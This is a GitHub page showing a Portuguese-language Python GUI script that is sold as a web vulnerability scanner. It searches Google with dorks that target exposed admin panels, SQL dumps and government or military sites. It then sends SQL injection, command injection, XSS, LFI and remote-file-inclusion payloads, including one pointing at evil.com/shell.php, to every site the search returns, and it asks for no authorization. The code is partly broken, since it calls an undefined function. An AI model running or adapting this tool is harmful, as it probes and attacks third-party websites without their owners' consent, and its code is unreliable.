-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscriptpentestweb.py
More file actions
172 lines (153 loc) · 6.41 KB
/
scriptpentestweb.py
File metadata and controls
172 lines (153 loc) · 6.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import os
import sys
import requests
import socket
import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog, messagebox
from googlesearch import search
from urllib.parse import urlparse
import threading
# Instalar dependências automaticamente
required_modules = ["requests", "googlesearch-python"]
for module in required_modules:
try:
__import__(module.replace("-", "_"))
except ImportError:
os.system(f"{sys.executable} -m pip install {module}")
# Configuração da interface gráfica
app = tk.Tk()
app.title("Scanner de Vulnerabilidades - Desenvolvido por @astrahvhdev")
app.geometry("900x750")
# Exibição de Banner de Autoria
banner = """
🔍 Scanner de Vulnerabilidades Web
📌 Desenvolvido por @astrahvhdev
📬 Contato: https://t.me/astrahvhdev
"""
output_text = scrolledtext.ScrolledText(app, width=110, height=30)
output_text.grid(column=0, row=3, columnspan=3, padx=10, pady=10)
output_text.insert(tk.END, banner)
# Google Dorks Comuns
google_dorks = """
🔎 Lista Gigante de Google Dorks:
🔹 inurl:admin
🔹 inurl:login
🔹 inurl:index.php?id=
🔹 inurl:search.php?q=
🔹 intitle:index of
🔹 inurl:wp-content
🔹 site:.gov.br filetype:pdf
🔹 site:.edu inurl:"login"
🔹 site:.com intitle:"Admin Panel"
🔹 site:.br "Documento Confidencial"
🔹 site:.org "database.sql"
🔹 site:.gov "Servidor Interno"
🔹 site:.mil "Acesso Restrito"
🔹 inurl:/config.php
🔹 inurl:/database/
🔹 filetype:sql intext:"phpMyAdmin SQL Dump"
🔹 filetype:txt intext:"admin password"
🔹 filetype:pdf intext:"Confidential"
"""
# Configuração de cabeçalhos e payloads
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
vulnerabilities = {
"SQL Injection": ["'", "\"", " OR 1=1 --", " UNION SELECT NULL,NULL--"],
"NoSQL Injection": ["{$ne:null}", "{'$gt': ''}"],
"Command Injection": ["; ls", "&& whoami", "|| id"],
"XSS": ["<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>"],
"LFI": ["../../../../etc/passwd", "../../../../windows/win.ini"],
"RFI": ["http://evil.com/shell.php"],
"Open Redirect": ["//evil.com", "https://evil.com"]
}
resultados = ""
# Função para exibir logs na interface
def log(msg):
global resultados
resultados += msg + "\n"
output_text.insert(tk.END, msg + "\n")
output_text.see(tk.END)
app.update()
# Função para exibir lista de Google Dorks
def mostrar_dorks():
dorks_window = tk.Toplevel(app)
dorks_window.title("Lista de Google Dorks")
dorks_window.geometry("500x600")
dorks_text = scrolledtext.ScrolledText(dorks_window, width=60, height=30)
dorks_text.pack(padx=10, pady=10)
dorks_text.insert(tk.END, google_dorks)
# Função para validar domínios antes de testar
def site_valido(url):
parsed = urlparse(url)
return parsed.scheme in ["http", "https"] and "." in parsed.netloc
# Função para exportar os resultados
def exportar_resultados():
global resultados
arquivo = filedialog.asksaveasfilename(defaultextension=".txt", filetypes=[("Arquivo de Texto", "*.txt")])
if arquivo:
with open(arquivo, "w", encoding="utf-8") as f:
f.write(resultados)
messagebox.showinfo("Exportação", "Resultados exportados com sucesso!")
# Busca sites vulneráveis com Google Dorks
def buscar_sites():
palavra_chave = palavra_entry.get()
log(f"\n🔎 Buscando sites vulneráveis para: {palavra_chave} com Google Dorks...\n")
sites = []
try:
for resultado in search(palavra_chave, num_results=10): # Aumenta o número de sites encontrados
if site_valido(resultado) and resultado not in sites:
sites.append(resultado)
log(f"[+] Site encontrado: {resultado}")
except Exception as e:
log(f"[!] Erro ao buscar sites: {str(e)}")
if sites:
threading.Thread(target=processar_sites, args=(sites,)).start()
else:
log("[⚠] Nenhum site válido encontrado.")
# Testar todos os sites encontrados sem parar no meio da execução
def processar_sites(sites):
for site in sites:
testar_vulnerabilidades(site)
# Realiza testes de pentest no site
def testar_vulnerabilidades(site):
log(f"\n🔎 Testando {site}...\n")
vulnerabilidade_encontrada = False
for vuln, payloads in vulnerabilities.items():
log(f"➡️ Testando: {vuln}...")
for payload in payloads:
target = f"{site}?test={payload}" if isinstance(payload, str) else site
response = requests.get(target, headers=headers, timeout=5)
if vuln == "SQL Injection" and "syntax error" in response.text:
vulnerabilidade_encontrada = True
log(f"[⚠] {vuln} detectado: {target}")
log_exploit(vuln, target)
break
elif vuln == "XSS" and payload in response.text:
vulnerabilidade_encontrada = True
log(f"[⚠] {vuln} detectado: {target}")
log_exploit(vuln, target)
break
elif vuln == "LFI" and "root:x" in response.text:
vulnerabilidade_encontrada = True
log(f"[⚠] {vuln} detectado: {target}")
log_exploit(vuln, target)
break
elif vuln == "RFI" and "shell" in response.text:
vulnerabilidade_encontrada = True
log(f"[⚠] {vuln} detectado: {target}")
log_exploit(vuln, target)
break
elif vuln == "Open Redirect" and "evil.com" in response.headers.get("Location", ""):
vulnerabilidade_encontrada = True
log(f"[⚠] {vuln} detectado: {target}")
log_exploit(vuln, target)
break
if not vulnerabilidade_encontrada:
log("[✅] Nenhuma vulnerabilidade encontrada, indo para o próximo site.")
# Criando os botões da interface
ttk.Button(app, text="Lista de Google Dorks", command=mostrar_dorks).grid(column=0, row=0, padx=10, pady=5)
palavra_entry = ttk.Entry(app, width=50)
palavra_entry.grid(column=1, row=0, padx=10, pady=5)
ttk.Button(app, text="Buscar e Testar", command=buscar_sites).grid(column=0, row=1, padx=10, pady=10)
ttk.Button(app, text="Exportar Resultados", command=exportar_resultados).grid(column=1, row=1, padx=10, pady=10)
app.mainloop()